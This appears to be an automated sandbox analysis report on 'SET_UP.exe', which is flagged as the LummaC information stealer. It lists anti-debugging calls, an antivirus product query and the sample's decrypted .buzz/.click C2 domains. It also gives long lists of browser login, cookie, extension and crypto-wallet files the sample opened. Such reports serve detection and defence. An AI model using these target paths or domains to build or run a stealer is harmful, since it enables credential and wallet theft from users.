Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000E75A7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000E75A7
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000EB983 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000EB983
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000E7C40 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000E7C40
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000E7DD4 SetUnhandledExceptionFilter,	0_2_000E7DD4

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SET_UP.exe	String found in binary or memory: cashfuzysao.buzz
Source: SET_UP.exe	String found in binary or memory: hummskitnj.buzz
Source: SET_UP.exe	String found in binary or memory: screwamusresz.buzz
Source: SET_UP.exe	String found in binary or memory: appliacnesot.buzz
Source: SET_UP.exe	String found in binary or memory: scentniej.buzz
Source: SET_UP.exe	String found in binary or memory: inherineau.buzz
Source: SET_UP.exe	String found in binary or memory: prisonyfork.buzz
Source: SET_UP.exe	String found in binary or memory: rebuildeso.buzz
Source: SET_UP.exe	String found in binary or memory: gripfizz.click

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000E7E41 cpuid

0_2_000E7E41

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: EnumSystemLocalesW,	0_2_000F871B
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_000FEB1D
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	0_2_0007AB80
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,	0_2_000F8BC1
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: EnumSystemLocalesW,	0_2_000FEDBF
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: EnumSystemLocalesW,	0_2_000FEE0A
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: EnumSystemLocalesW,	0_2_000FEEA5
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_000FEF30
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,	0_2_000FF183
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_000FF2A9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetLocaleInfoW,	0_2_000FF3AF
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_000FF47E

Source: C:\Users\user\Desktop\SET_UP.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000E80E7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000E80E7

Source: C:\Users\user\Desktop\SET_UP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: SET_UP.exe, 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: SET_UP.exe, 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: SET_UP.exe, 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SET_UP.exe, 00000000.00000003.1880108911.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\C

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SET_UP.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1880108911.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 6428, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

